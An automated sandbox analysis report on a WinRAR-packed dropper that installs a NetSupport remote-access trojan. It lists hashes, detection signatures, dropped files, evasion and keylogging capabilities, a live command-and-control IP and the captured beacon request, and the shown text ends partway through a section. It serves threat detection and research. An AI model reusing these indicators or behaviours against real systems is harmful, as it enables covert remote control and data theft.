Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1546920
MD5:	b51e761b009c658073fd0dc66c8f808f
SHA1:	8dd8a45980efcae93eec634987396a0a6a3e62e9
SHA256:	bf2165a4bdafb0945c8b370758e6d0b9ab145147e7ddab448a01b3b25c2ad8a7
Tags:	exeuser-Bitsight
Infos:

Detection

NetSupport RAT

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

AI detected suspicious sample

Contains functionalty to change the wallpaper

Delayed program exit found

Sigma detected: Execution from Suspicious Folder

Sigma detected: Suspicious Program Location with Network Connections

Abnormal high CPU Usage

Contains functionality for read data from the clipboard

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables security privileges

Extensive use of GetProcAddress (often used to hide API calls)

File is packed with WinRar

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evaded block containing many API calls

Found evasive API chain (date check)

Found evasive API chain checking for process token information

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Keylogger Generic

Yara detected NetSupport remote tool

Classification

Process Tree

System is w10x64

file.exe (PID: 7092 cmdline: "C:\Users\user\Desktop\file.exe" MD5: B51E761B009C658073FD0DC66C8F808F)

bild.exe (PID: 6768 cmdline: "C:\Users\Public\Downloads\bild.exe" MD5: 8D9709FF7D9C83BD376E01912C734F0A)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Users\Public\Downloads\PCICHEK.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\Public\Downloads\pcicapi.dll	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\Public\Downloads\bild.exe	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\Public\Downloads\TCCTL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\Public\Downloads\HTCTL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\Public\Downloads\PCICL32.DLL	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
C:\Users\Public\Downloads\PCICL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author
00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000001.00000002.4167415871.0000000000942000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000000.00000003.1740000186.0000000002915000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000001.00000000.1742735258.0000000000B12000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000001.00000002.4170686554.000000006D100000.00000002.00000001.01000000.0000000D.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000001.00000002.4167843040.0000000000B12000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000001.00000002.4167415871.000000000088E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: file.exe PID: 7092	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: file.exe PID: 7092	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: bild.exe PID: 6768	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: bild.exe PID: 6768	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author
1.2.bild.exe.6c940000.3.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
1.2.bild.exe.6fc30000.6.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
1.0.bild.exe.b10000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
1.2.bild.exe.b10000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0.3.file.exe.2acb800.0.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0.3.file.exe.2acb800.0.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
1.2.bild.exe.111b79e0.2.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
1.2.bild.exe.111b79e0.2.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
1.2.bild.exe.6d0c0000.5.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
1.2.bild.exe.11000000.1.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
1.2.bild.exe.11000000.1.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 6 entries

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\Downloads\bild.exe" , CommandLine: "C:\Users\Public\Downloads\bild.exe" , CommandLine|base64offset|contains: , Image: C:\Users\Public\Downloads\bild.exe, NewProcessName: C:\Users\Public\Downloads\bild.exe, OriginalFileName: C:\Users\Public\Downloads\bild.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7092, ParentProcessName: file.exe, ProcessCommandLine: "C:\Users\Public\Downloads\bild.exe" , ProcessId: 6768, ProcessName: bild.exe

Sigma detected: Suspicious Program Location with Network Connections

Source: Network Connection

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: DestinationIp: 185.215.113.64, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Users\Public\Downloads\bild.exe, Initiated: true, ProcessId: 6768, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49730

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T17:47:19.359874+0100	2022930	1	A Network Trojan was detected	20.109.210.53	443	192.168.2.4	49732	TCP
2024-11-01T17:47:58.150435+0100	2022930	1	A Network Trojan was detected	20.109.210.53	443	192.168.2.4	49749	TCP

ETPRO MALWARE NetSupport RAT CnC Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T17:47:04.429888+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.64	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\Public\Downloads\bild.exe	ReversingLabs: Detection: 28%
Source: C:\Users\Public\Downloads\remcmdstub.exe	ReversingLabs: Detection: 13%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.5% probability

Source: C:\Users\Public\Downloads\bild.exe

Code function: 1_2_110AD570 GetModuleHandleA,GetProcAddress,GetProcAddress,GetLastError,wsprintfA,GetLastError,_memset,CryptGetProvParam,CryptGetProvParam,GetLastError,_memset,CryptGetProvParam,GetLastError,GetLastError,GetLastError,GetLastError,_malloc,GetLastError,_free,GetLastError,CryptReleaseContext,SetLastError,FreeLibrary,

1_2_110AD570

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\Public\Downloads\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: file.exe
Source:	Binary string: msvcr100.i386.pdb source: bild.exe, bild.exe, 00000001.00000002.4170524693.000000006C961000.00000020.00000001.01000000.0000000B.sdmp, msvcr100.dll.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdb source: bild.exe, 00000001.00000002.4170801639.000000006FC32000.00000002.00000001.01000000.0000000A.sdmp, PCICHEK.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdbN source: PCICHEK.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: bild.exe, 00000001.00000002.4170686554.000000006D100000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\client32\Release\client32.pdb source: file.exe, 00000000.00000003.1740000186.0000000002915000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000001.00000000.1742735258.0000000000B12000.00000002.00000001.01000000.00000008.sdmp, bild.exe, 00000001.00000002.4167843040.0000000000B12000.00000002.00000001.01000000.00000008.sdmp, bild.exe.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdb source: file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: bild.exe, 00000001.00000002.4170686554.000000006D100000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdbP source: file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: bild.exe, 00000001.00000002.4170462627.000000006C945000.00000002.00000001.01000000.0000000C.sdmp, pcicapi.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001DA273 FindFirstFileW,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	0_2_001DA273
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001EA537 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	0_2_001EA537
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_1102D330 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	1_2_1102D330
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_11065890 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	1_2_11065890
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_1106A0A0 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,GetLastError,	1_2_1106A0A0
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_111266E0 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	1_2_111266E0
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_1110AFD0 _memset,wsprintfA,wsprintfA,KillTimer,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	1_2_1110AFD0
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_6C9C0F84 _wstat32i64,__doserrno,_errno,_invalid_parameter_noinfo,_wcspbrk,_errno,__doserrno,towlower,_getdrive,FindFirstFileExW,_wcspbrk,_wcslen,GetDriveTypeW,free,___loctotime32_t,free,_wsopen_s,__fstat32i64,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FindClose,___wdtoxmode,GetLastError,__dosmaperr,FindClose,	1_2_6C9C0F84
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_6C9BEFE1 _stat32,__doserrno,_errno,_invalid_parameter_noinfo,_mbspbrk,_errno,__doserrno,_mbctolower,_getdrive,FindFirstFileExA,_mbspbrk,__wfullpath_helper,_strlen,_IsRootUNCName,GetDriveTypeA,free,___loctotime32_t,free,__wsopen_s,__fstat32,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FindClose,___dtoxmode,GetLastError,__dosmaperr,FindClose,	1_2_6C9BEFE1
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_6C9BCA9B _malloc_crt,FindClose,FindFirstFileExW,FindNextFileW,FindClose,	1_2_6C9BCA9B
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_6C9C0B33 _wstat64,__doserrno,_errno,_invalid_parameter_noinfo,_wcspbrk,_errno,__doserrno,towlower,_getdrive,FindFirstFileExW,_wcspbrk,_wcslen,GetDriveTypeW,free,___loctotime64_t,free,_wsopen_s,__fstat64,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FindClose,___wdtoxmode,GetLastError,__dosmaperr,FindClose,	1_2_6C9C0B33

Source: C:\Users\Public\Downloads\bild.exe

Code function: 4x nop then add byte ptr [edi], dh

1_2_6C978468

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2827745 - Severity 1 - ETPRO MALWARE NetSupport RAT CnC Activity : 192.168.2.4:49730 -> 185.215.113.64:443

Source: global traffic

HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 185.215.113.64 185.215.113.64
Source: Joe Sandbox View	IP Address: 104.26.1.231 104.26.1.231

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.4:49749
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.4:49732

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.64
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: geo.netsupportsoftware.com

Source: unknown

HTTP traffic detected: POST http://185.215.113.64/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 185.215.113.64Connection: Keep-AliveCMD=POLLINFO=1ACK=1Data Raw: Data Ascii:

Source: bild.exe, bild.exe, 00000001.00000002.4170686554.000000006D100000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.0.dr	String found in binary or memory: http://%s/fakeurl.htm
Source: bild.exe, bild.exe, 00000001.00000002.4170686554.000000006D100000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.0.dr	String found in binary or memory: http://%s/testpage.htm
Source: bild.exe, 00000001.00000002.4170686554.000000006D100000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.0.dr	String found in binary or memory: http://%s/testpage.htmwininet.dll
Source: bild.exe, bild.exe, 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.0.dr	String found in binary or memory: http://127.0.0.1
Source: file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.0.dr	String found in binary or memory: http://127.0.0.1RESUMEPRINTING
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0$
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: bild.exe, 00000001.00000002.4167415871.00000000008ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/
Source: bild.exe, 00000001.00000002.4167415871.00000000008ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/ges
Source: bild.exe, 00000001.00000002.4167415871.0000000000942000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmp, bild.exe, 00000001.00000002.4167415871.00000000008ED000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000001.00000002.4167415871.00000000008D8000.00000004.00000020.00020000.00000000.sdmp, PCICL32.DLL.0.dr	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp
Source: bild.exe, 00000001.00000002.4167415871.00000000008ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspH
Source: bild.exe, 00000001.00000002.4167415871.00000000008ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspP
Source: file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.0.dr	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)
Source: bild.exe, 00000001.00000002.4167415871.00000000008ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspT
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://ocsp.globalsign.com/rootr30;
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: file.exe, 00000000.00000003.1740000186.0000000002CA2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, bild.exe.0.dr, PCICL32.DLL.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: file.exe, 00000000.00000003.1740000186.0000000002CA2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, bild.exe.0.dr, PCICL32.DLL.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	String found in binary or memory: http://s2.symcb.com0
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/root-r3.crt06
Source: file.exe, 00000000.00000003.1740000186.0000000002CA2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, bild.exe.0.dr, PCICL32.DLL.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	String found in binary or memory: http://sv.symcb.com/sv.crl0f
Source: file.exe, 00000000.00000003.1740000186.0000000002CA2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, bild.exe.0.dr, PCICL32.DLL.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: file.exe, 00000000.00000003.1740000186.0000000002CA2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, bild.exe.0.dr, PCICL32.DLL.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	String found in binary or memory: http://sv.symcd.com0&
Source: file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.0.dr	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp
Source: file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.0.dr	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp11(
Source: file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.0.dr	String found in binary or memory: http://www.pci.co.uk/support
Source: file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.0.dr	String found in binary or memory: http://www.pci.co.uk/supportsupport
Source: file.exe, 00000000.00000003.1740000186.0000000002CA2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, bild.exe.0.dr, PCICL32.DLL.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	String found in binary or memory: http://www.symauth.com/cps0(
Source: file.exe, 00000000.00000003.1740000186.0000000002CA2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, bild.exe.0.dr, PCICL32.DLL.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	String found in binary or memory: http://www.symauth.com/rpa00
Source: file.exe, 00000000.00000003.1740000186.0000000002CA2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, bild.exe.0.dr, PCICL32.DLL.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: file.exe, 00000000.00000003.1740000186.0000000002CA2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, bild.exe.0.dr, PCICL32.DLL.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: remcmdstub.exe.0.dr	String found in binary or memory: https://www.globalsign.com/repository/0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443

Source: C:\Users\Public\Downloads\bild.exe

Code function: 1_2_1101F6B0 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,

1_2_1101F6B0

Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_1101F6B0 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,		1_2_1101F6B0
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_11032EE0 GetClipboardFormatNameA,SetClipboardData,		1_2_11032EE0

Source: C:\Users\Public\Downloads\bild.exe

Code function: 1_2_110321E0 GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalFree,

1_2_110321E0

Source: C:\Users\Public\Downloads\bild.exe

